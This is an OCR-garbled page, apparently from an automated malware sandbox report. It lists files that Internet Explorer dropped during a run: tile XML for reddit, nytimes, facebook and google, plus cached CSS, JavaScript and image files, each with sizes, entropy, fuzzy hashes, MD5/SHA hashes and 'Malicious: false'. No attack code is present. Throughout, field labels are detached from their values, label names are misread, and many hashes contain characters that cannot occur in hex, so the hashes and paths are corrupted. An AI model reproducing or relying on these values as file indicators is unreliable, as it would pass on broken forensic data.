5.106664213904869

false

12: TMHdNMNxO0nf60nWimI002EtM3MHANMNX0nf60nWimI00ObXEtMb:2d6Nx0tSZHKdENX0tSZ7nb
8F9DB6DDD4144DBO3EDBF17A773436CA
610CCD465A55DEFBDES5D15FBDDEES5D0349B559
C75B02AA436BE2FALF7AF746778A31DECB6FE7250E21C58893DA370605E827C3
761C69BEOE328155E315E75C900986E594654DC75C21FD2BAE1A5885BD48DA3A092A4E99A60462BE4B624325A7TE0CATFD865B761C497C94BD6A2555C283EFSE

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x8a822dab,0x01d6ef43</date><a
ccdate>0x8a822dab,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x8a822dab,0x01d6ef43</date><accdate>0x8
aB822dab,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml

Copyright null 2021
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C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.138021061084875

false

12: TMHANMNXXTnWimI002EtM3MHANMNxxTnWimI00Ob6Kg5EtMb:2d6NXVSZHKdBNXVSZ70b
772B98F7982EF29FF30A709950751FBD

4482CABCCB3F98EFE607914C2321F49C49218AE3
6BB90D5EEA25A193E48F888AC1FFBID10FA22D8725FCOB306F5915D4EB0A23FC
815BD4E7193EEFAC045036C8347834C7AF197593DEB0B2483924012161185C3A8B075B8449D74AFED67C5669C58E589FE9923FB8DCE4F5FDC1F865BF9D7838F

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x8a7fch75,0x01d6ef43</date><
accdate>0x8a7fcb75,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x8a7fcb75,0x01d6ef43</date><accdate>0
x8a7fch75,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square 70x70logo/><favorite src="C:\Users\user\Favorites\NY Times.url"/>
</tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

659

5.116642775112002

false

12: TMHdNMNxcFEMEgQnWimI002EtM3MHANMNxcFEMEgnWimI00ObVEtMb:2d6NxRdgSZHKA6NXRdAqSZ7Db
18BA93A75BFD1B1A60324B275237DB13

B55CDA7708CB8A7F527D0B8F5A32DC68D2BDDD5E
062CDC8465BBE4A9D17064C290E68CF2B7D2D77C8B611B660CDC77533F6D44D4

6C959FEDOAC92568C6EE4E4BOFFEGOF2CD98A7930FA9803880620B8F3FD24B3999FCDFF970ED4EA7081E087070BF10A96C7AB2704EC3334EEGA3DY4EF2462EE
A

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/'/><date>0x8a7b0678,0x01d6ef43</date>
<accdate>0x8a7b0678,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x8a7b0678,0x01d6ef43</date><accdate
>0x8a7b0678,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook
.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin8215062560\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.102276153427472

false

12: TMHANMNxfnFEMEgnWimI002EtM3MHANMNxfnFEMEgnWimI000be5EtMb:2d6NxWdqSZHKdBNxWdgSZ7ijb
27211701C4942DBA2A485AABOEB54728

BOAA2694F284A101068D6EAC352FD2D36EAGEICE
4F413D10C8B92A6F44EDA9289890B45347675D538251FCE552A397D21FCOACAS
C848B72413FB5A4748CF2A5230393D280F48D6DE2DEF3B7C995BCE06D3606138FC4F930F376011B3B621C22B2F37F6AAA466CLE6BEOC6DC2D316EE261429A80

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x8a7b0678,0x01d6ef43</date><a
ccdate>0x8a7b0678,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x8a7b0678,0x01d6ef43</date><accdate>0x8
a7b0678,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Google.url"/></tile>
</msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet ExploreriimagestorelynfzOjx\imagestore.dat

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

data

modified

5644

4.126195649127784

false
96:/50aWBycm5zDIvV2rkG4zuAZMXJIFG62q7mQj:/5CByl5zZ0IG46AaXJFG6vV7mm
39566726D8E144BABAGACAGEG2F636D9
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C:\Users\user\AppData\Local\Microsoft\internet Exploreriimagestorelynfz0jx\imagestore.dat

SHA1L:

SHA-256:
SHA-512:
Malicious:

Preview:

6E6B3749F0187D8B15D8B8398A323468345F654E
B635F46308EF2589624F0841CE75FFD978249502538A47D1ED8C2B78D45B8360
210474E1A65F852231C8B4455803630A9081C751A46C95E65CCB5F6515CC2B6542427E42CFB1648F85E8AC58F6860BDA17361E1D9039DB8640A1A8ACB51F1A68

false
Lh.ttp..//lo.p.p.p.o.0.0.le..xy.z/fav.i.c.on. .ico~ ... N @i S...5...5...SW..I.......5...5...5...5.......5...5..5...5...5...5...I..8{..5...5#..5...5..I..8
..S..8[..s...5...5..5...5...5...8}..5...sW..r..s...sm..sK..sC..sw..S..5...5%..5!..5..5...5...5...8U..5.5Y..5...5..5..1#......5...5...5..5...1%..5[..S...5...5..8]..5...I.§S..5...8(.......... S...8...5...8...5...

....SU..S...8.......8...8..8.5A...
LIWe S...S..8...8...5...5...

S%..S..St...... Tl S| S...S..5K..S...Su i S...5...8)...... S ST SeeSell Sl S..Seein S...S..87..........5...5..58i..52..87..5......
SS..5...S.uene S...s..sm..sl..s;..S....... sl..s..s#......5...5...5..5Q......5...8..5...I[...SM..S...I[...S..[...S...5...I...5...8Q..S..T

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\58-acd805-185735b[1].css

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines

dropped

248290

5.29706319907182

false
3072:jaBMUzTAHEKmM80UdvUvbZkrlP6pjJ4tQH:ja+UzTAHLOUdvUZkrlP6pjl4tQH
3BA653386966EC654F176EAC2283E44A
6F722BB5946F28298FDBCB559D1590871AA817F3
99912374675266F0431853D948ABF2114E6B2351EB877D0675301D35DA58142C

820AA173D884967ECB0631ADBBE41425132BAC3E0D422B5CC1BFOFCDDCA39673361372FAASDFD168331ADSE32F32D64D290AD87DC8F35525CD931525E76AAF
8

false

@charset "UTF-8";div.adcontainer iframe[width="1'}{display:none}span.nativead{font-weight:600;font-size:1.1rem;line-height:1.364}div:not(.ip) span.nativead{color:#333}.to
daymodule .smalla span.nativead,.todaystripe .smalla span.nativead{bottom:2rem;display:block;position:absolute}.todaymodule .smalla a.nativead .title,.todaystripe .smalla
a.nativead .title{max-height:4.7rem}.todaymodule .smalla a.nativead .caption,.todaystripe .smalla a.nativead .caption{padding:0;position:relative;margin-left:11.2rem}.to
daymodule .mediuma span.nativead,.todaystripe .mediuma span.nativead{bottom:1.3rem}.ip a.nativead span:not(.title):not(.adslabel),.mip a.nativead span:not(_titl
e):not(.adslabel){display:block;vertical-align:top;color:#a0a0a0}.ip a.nativead .caption span.nativead,.mip a.nativead .caption span.nativead{display:block;margin:.9rem 0
.1lrem}.ip a.nativead .caption span.sourcename,.mip a.nativead .caption span.sourcename{margin:.5rem 0 .1rem;max-width:100%}.todaymodule.mediuminfopanehero .ip_

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\85-0f8009-68ddb2ab[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

391413

5.324500984847764

false
6144:Rrfl3K/R9Sg/1xeUgkhmnid3WSqljHSjaXiN4gxO0Dvq4FcG6Ix2K:d0/Rmznid3WSqljHdMftHcGB3
CA9F525C6154EF6AFF6C6FFODOB07779

45F00ABA2CCIOF7A1C6BF8691BEDOAEB27F2590B9
6F9FA21C6054E989A07CFCAAAE340FBE344BEE9SBFB2DCE3CF616AF1FB4BABSB

621B53C05B4D6858EAAG22378689BF68CCA63B03805DE62C3AAAS510D6EACE94CABO5C30738AA8BF530FCCOFD72745127F40F95FC6ADCEAT7038A26589EC926F
7

false

var awa,behaviorKey,Perf,globalLeft, Gemini, Telemetry,utils,data, MSANTracker,deferredCanary,g_ashsC,g_hsSetup,canary;window._perfMarker&&window._perfMa
rker("TimeToJsBundleExecutionStart");define("jgBehavior",["jquery","viewport"],function(n){return function(t,i,r){function u(n){var t=n.length;return t>1?function(){for(var
i=0;i<t;i++)n[i]()}:t?n[0]:ffunction f(){}if(typeof t'="function")throw"Behavior constructor must be a function";if(i&&typeof i'="object")throw"Defaults must be an object or nu
II";if(r&&typeof r'="object")throw"Exclude must be an object or null*;return r=r||{},function(f,e,0){function c(n){n&&(typeof n.setup=="function"&&l.push(n.setup),typeof
n.teardown=="function"&&a.push(n.teardown),typeof n.update=="function"&&v.push(n.update))}var h;if(o&&typeof o!="object")throw"Options must be an object or null";var

s=n.extend(!0,{},i,0),I=[],a=[],v=[],y=!0;if(r.query){if(typeof f!="string")throw"Selector must be a string";c(t(f,s))}else h=n(f,e),r.each?c(t(h,s)):(y=h.length>0,

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB14EN7h[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 192x192, segment length 16, baseline, precision 8, 622x368, frames 3
dropped

10663

7.715872615198635

false

192:BpV23EiAqPWo2rhmHI2NF51Zr9Q8yES4+e5B0k9F80dgmQzMs:7PiAgnHICF5IVVyxk5BB9tdq3Z
A1ED4EBOC8FE2739CE3CB55E84DBD10F

7A185F8FF5FF1EC11744B44C8D7F8152F03540D5
17917B48CF2575A9EA5F845D8221BFBC2BA2C039B2F3916A3842ECF101758CCB
232AE7AB9D6684CDF47E73FB15B0B87A32628BAEEA97709EA88A24B6594382D1DF957E739E7619EC8E8308D5912C4B896B329940D6947E74DCE7FC75D71C684

false
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB14EN7h[1].jpg

Preview:

...... JFIF..coiieeCriiiien w2 1)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
W11A.Qa."q.2... #B...R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789:CDEFGHIJSTUVWXY Zcdefghijs
tuvwxyz. ?..E.(.Y...ED.. L<t.S....50.9. .. RuiLdt&.J.L.P.m&.5VE.|.j.d...i..gL=x...4.S@..u.4.J.u.....J
U%.FEU..I.*J#4.3@.6...yH...= .}#...bx...1s...0.... 7TR...."U.......... jY..L.0..ST.M.it3...9...2...0$...V.A.w..0.. T.Y#...=) K. +....XV...n;.....}.37..........IE.P.E%...RQ@
.E%..RQ@.E%...RQ@.E%...RQ@.E%...RQ@.E%...RQ@.E%...RQ@.E%-...UE,.

W.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB14hqOP[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 192x192, segment length 16, baseline, precision 8, 622x368, frames 3
dropped

14112

7.839364256084609

false

384:7EIqipbU3NAAIBQVoqHDZJEfE7Td4Th67Bx/J5e8HOVIHB: 7EIqZT5DMQT+TEfS90VT
AB54465EC3B994F316791CAFDE3F7E9C

694A7D7E3200C3B1521F5469A3D20049EE5B6765
2A10D6E97830278A13CD51CA51EC01880CEBC44C4A69A027768218934690B102
9D12A0F8D9844F7933AA2099E8C3D470AD5609E6542EC1825C7EEB64442E0CD47CDEE15810B23A9016C4CEB51B40594C5D54E47A092052CC5E3B3D7C52E9D6

.C.... ... )10.)-,3:3>36F7,-@WAFLNRSR2>ZazP JQRO...C.......&..&05-500000000000000000000000000000000
000000000, PN e § 11A..Qa."q.2...#B..R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
.......... w.......11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijs
tuvwxyz. (2 (e (ceeen (edinth. @...+....9..V.\"L@....|....N...@My..Ww9;.5].@....L.k..w2."...

M8)4..>.u9..5U.w9,M( QNwp*3&MJIrf..J..|p...n .j.qW#.5W.)& & .EN % Ty .U.4.IK.sK.00j.....Z..3]...")..c..~... .RqL...lcym..R..

gTa..a9.+...5-W'.T@.N.8"

LJ6er.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB17milU[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

627

7.4822519699232695

false
12:6v/78/W/6TilP7X0TFI8ugNNIpESGCLDOkK32Se5R2bBCEYPk79kje77N:U/6xPTOTtINNDGCLDOMVe5JEAKV3N
DDE867EA1DI9D8587449D8FA9CBAGCB71

1A8B95E13686068DD73FDCDD8DIB48C640A310C4
3D5AD319A63BCC4CD963BDDCFOE6A629A40CC45A9FB14DEFBB3F85A17FCC20B2
83E4858E9B90B4214CDA0478C7A413123402AD53C1539F101A094B24C529FBIBFF279EEFC170DA2F1EEG87FEF1IBC97714A26F30719F271F12B8A5FA401732847

false

PNG........ IHDR...coovrviie a...sRGB......... gAMA.....a....pHYS. ..o IDAT80.S.KTQ...yj..tTZ.VAr.B*AIYAFY..V."*(Jh.E -,..j....2.2.{....8...{s....0.A. HS....x>......Rp
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cROFX[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 311x333, frames 3
dropped

21173

7.9658689509955884

false

384:ek6F0ZV7DRGHkpgw0OvP2sz5TYFJehGY2Ck7m0JS3s0kSrjlUWZUGIyXU4:eN0zgHnIndOneUckhisOkSTHWGUe
DFDCB17B828050B26C8F9359E7F00DED

53E33B82B84B713E7415F3F983F74B82D2279B88
B1FA73D2824B001ADD514BFE731AFB2A47B6D1626B68B4CC3F2629880321086E
9854BDBF2CA80A570FB71CCB9C80C22DFD3ADB094D924F283813BB528A13457027A5EF634CD782573DB3A6C7E61250362C6C3E3DE0626A1577DBED72764416/

false

ijstuvwxyz
Zcdefghijstuvwxyz.

. .Zh.5.A.4{eJ.5
...Yorja.X...dBwgu)G.9.."..8..1..F~Kt.Fjs.-..).L.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cTH74[1].jpg

Process:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cTH74[1].jpg

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

JPEG image data, JFIF standard 1.01, resolution (DPI), density 350x350, segment length 16, baseline, precision 8, 311x333, frames 3

dropped

10950

7.943057518478968

false

192:FYDHk4cH4A5e1C9YD1REsSYyWE9PQ+X8hM9/PKfV5L2nWRhqzL57bmSkXu:C5bAA1CYpRHIWEIPYMIKFbSNWbG5mSn
EAD4AAE2433EEA6C1C3A6A68FC5004EE

F631802EA5921F5C02E866DC792EAEBD2F1940ED

56F6D7140EDEB36F91C6EESBF8C30AABF022B31642A26ECOFOAA3BC5DC81E7CT
1E87BAFEE7DA967BA3C02DE1561B6F707AAC79E6D416206EC8A33543F8110F1D0OD20FAF22F2E1D5931DA8DIEC1487A0F50E32EBB5F02DD5316CC514747E591
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#M.4.T*.Xg..$e..h..) £ E.QH.x..Zn....H..H)sH .*....

000000000000000000
ijstuvwxyz

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cTL2p[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 311x333, frames 3
dropped

13875

7.953857575260212

false

384:euG4XVIrBCQARwW3Bfny1T4pOfRjf0zVCQLRiZL86Mu:euvrmQA+3BvyrJjfozRkp86Mu
E3B286B84ECFC2AF565B287B420E2BB0O

017EFE13F49A596B860F1302A829C5DE06DAAL10
FD22AFA923E83AD1A037735F4A85E9D3DA31176C1BC1E935D318E54036BD7C79

A11ECCE4707F232C22EB28CCDA1A6B4C97FBSE2A946BDBFA316E82155F563BCFC24F22EE24EFFBOD363CD65486297AE155B54D44F67FCEA6393798EB93D6E!
90

false

%&'()*456789:CDEFGHIJSTUVWXYZcdefgh
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<....l....U.B#-u47cju.6.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cTaOh[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 310x166, frames 3
dropped

7175

7.90758128354798

false

192:BFMUFMivU9/QGP46xV9ts8FVMFKDFLAMCJ5EXyuj:vFMiKhPdVOtUFOLINEXyYS
6F52FCC495CDF2E967EBA92B8A830B83

12E618D5735D863CCA01F2CF217CC309488D8D76
D55688D101D053DAAACE17614FC8E58273CC02AF0E39A1CB9653E1C43EDSA4BB
40A9A887869786DBEF4E7A2EF5A18D0A176997F09492C9627C6D5D536BIA28952E393B40D6A1397B01EACDE754644A3412F513F586441ACFIA6DDFB3BF8CAEQ/

false

2..]..L.. N
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cTwfg[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 311x333, frames 3
dropped

16866

7.958756528940593

false
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\OW10PBUV\BB1cTwfg[1].jpg

SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:
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85BD9AA54443CA41FBIFC54DIFALECA3

0F2937F8FESAFDACS5F64A3B265DA69247A8A9CF8

4F780E30B10F32823F97F7EA3FDBF8D3E41479D5720374DD49999F49247EE9D7
02E76B5A70B9908F3BOFB121E829399B41DFB7E5063D79AF6F32B910CF83680E1D736D1E88A7572CB8AB8587516D71A0A746B707E7E1678007945359FD4ESDB8

false
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cU1Z3[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 206x250, frames 3
dropped

9291

7.947558027801801

false

192:BCfoERLb8Zd3Goi7/mIUFferRo1K1LMdnyVeyDAV4V28nbaqMy9:kfoUmdXi7iyZLMdnjeAe28+19
665969805673B202A116333AD4DCAATB

10BO3E25D1AE74B1A4648FEB1047A05944960C62
B805B67FEC3E5CC2C5826964D7B6575D9C81929C8F4193E2F5FBOB8549BCCF65
50756C11F5711CD5EE6119B2ADOEF56BB09B0C3211C3D159AA02488061B640368F34CF5E77F975D503C26D561FC729637345C176A8BFA136E58E4BA41DFELBFE

false
...... JFIF...cpyeeeCrriiiee e 1)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cU46x[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 311x333, frames 3
dropped

13757

7.9546868614877475

false

192:BYILKF00zukzC9uxfPIQbx580Tg9tInT6YveGHk5aU4FIEGt6rM/G4AnTXNfGquxXW:edEoRk8ux+189DTq6FNmMd3Chor8viPG
930CA586C4D5C6E95BB609E73DBEI35D

F22764B98777B5C253105864C8DDC44257F922BD
2B3B169704729DE4CC08D22B7E835FDE2DDEDD2E49903A942F397E4D3332A098

651CD43633B70AB7FFEC895C27EB1E7B3BC7F606EA7CC96FD3A077B6EG596B5EB040C952D57F2A08C4A854724637EE38BI9A882D0B325AFD958C119E0997D01¢
1

false

ijstuvwxyz
Zcdefghijstuvwxyz.
. 1&NF.*.1a..
[..."4.0.C..K..3......2.t.1..0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cU9x7[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 311x333, frames 3
dropped

7417

7.8583395203909765

false

96:BGs6EO0UNTee+kxVQc260YcoaH2aGbNXI8Ik5nMZjSVx3C6+JIplUxYPxSUtYBXKC:BYUThQch5r6x+yE8fx36JePNK4s
FDBCB11B76FF786EAA578A58A65BA65B

50B11CAC82359A246CF4362CAE2E2E5D78C8A8D4
B9F917FF8A52F012E47E49D998E165D85F02B948837A1A3D8509A24133B78816
8EF0B5794E1030E1F4415EB50117E6A87885FCF8B3075DA8B87A92F60CC7E935B5187371A917444BBAA503464E2A76B24716469A8F1EAFAA4C65C4C89AF3C89C

false

Page 29 of 71



C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cU9x7[1].jpg

Preview:

ijstuvwxyz.... .
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cUahV[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 310x166, frames 3
Category: dropped

Size (bytes): 7245

Entropy (8bit): 7.932795021072736

Encrypted: false

SSDEEP: 192:BFE6td25zfIN+RyE7TgYcKMcSkpFaVTVeWYLX+3MMP:vvI5zxISE7QKTSeugWYr+8MP

MDS5: 7D2070A9C20E3DC65E7FBEOE14EB8088F

SHA1L: 3FE37C3848FE3821D9C7FFB6BDF92660DCAB02B3

SHA-256: B3EDE1D82996866562B142A2A3C366AE3BC6F09926E1B7543621E104D3D7C9E3

SHA-512: 40EFFOC1C8487F1560A45025A71FEE192B12EAE6D363A6D05D8CFDOFIBODF75161663E1BB0571A32DC2F71804C21BA8C787A806C6F5CEODBADBC4F04591231¢
Malicious: false

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cUmC5[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3

Category: dropped

Size (bytes): 10166

Entropy (8bit): 7.9124479382054655

Encrypted: false

SSDEEP: 192:BYaeBaGFseFNKVO3Q/0uYfdoWN+KmzfhUg8D2q:ePwGge3003Q/KdoWN+Kwfz+2q

MDS5: B65A98FE98898A9C169E195E232F06D9

SHA1L: 6570EFOFB652ABD547B61152B359EFEOE8A9236B

SHA-256: B454AD8370723D702AEDA7B145D953B8E04D146A1876259D02546D2B6303448D

SHA-512: B89F2F438DBE7268B3D10D3EB390534868DBCO0BC3FBC743DD096CD46E727801BBA7A028337072934C995ACA4877B6D4E4B116BCB8IAGE09099593D02F904AE
A

Malicious: false

Preview:
...... JFIF... 0 Criiies o )100)-,3:3>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1cUrOu[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped
Size (bytes): 6141
Entropy (8bit): 7.8921367518673575
Encrypted: false
SSDEEP: 96:BGAaEqntrUbBYHLvfOxdOVhh6JZC6t6nwWOCE97Ibm+bfEtjOYNK8+A/ZPqoz2hw:BCbtrHLXOr0tz6 MwWO0OcyFbl/hAh4F74L
MDS5: ED2893843AAE27BB8B8946107BCC7670
SHA1L: 37D421F92DC1CA871C73D0C2E511806137F973A5
SHA-256: 8ED48F6B0B1DD72D92124BA6A0BSEDBE2EOC323F71C1ECE1AB7D9A718886646E
SHA-512: AF645696D3A57669BC55CF00A01234FE88D29417616B4EAB4F81A6CA176136AD302C84566AEC199742991C95EA2D15C94CCF5A53A4BB18309FD6F261F7971440
Malicious: false
Preview:
...... JFIF..cpeeeCriie e 1)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB7hg4[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 458

Entropy (8bit): 7.172312008412332

Encrypted: false

SSDEEP: 12:6v/78/kFj13TCO3wFdwrWZdLCUYzn9dct8CZsWEO0ROY8/9ki:u138apdLXgxCS7D2Y+

MD5: AAF438CAD14EOE2CA9EEC23174BBD16A

SHA1L: 41FC65053363E0EEE16DD286C60BEDE6698D96B3

SHA-256: 9D9BCADE7A7F486C0C652C0632F9846FCFD3CC64FEF87ES5C4412C677C854E389

SHA-512: FD41BCD1A462A64E40EEE58D2ED85650CE9119B2BB174C3F8EIDA67D4A349B504E32C449C4E44E2B50E4BEB8B650E6956184A9E9CD09BOFASEA2778292B01E
A5

Malicious: false

Preview:
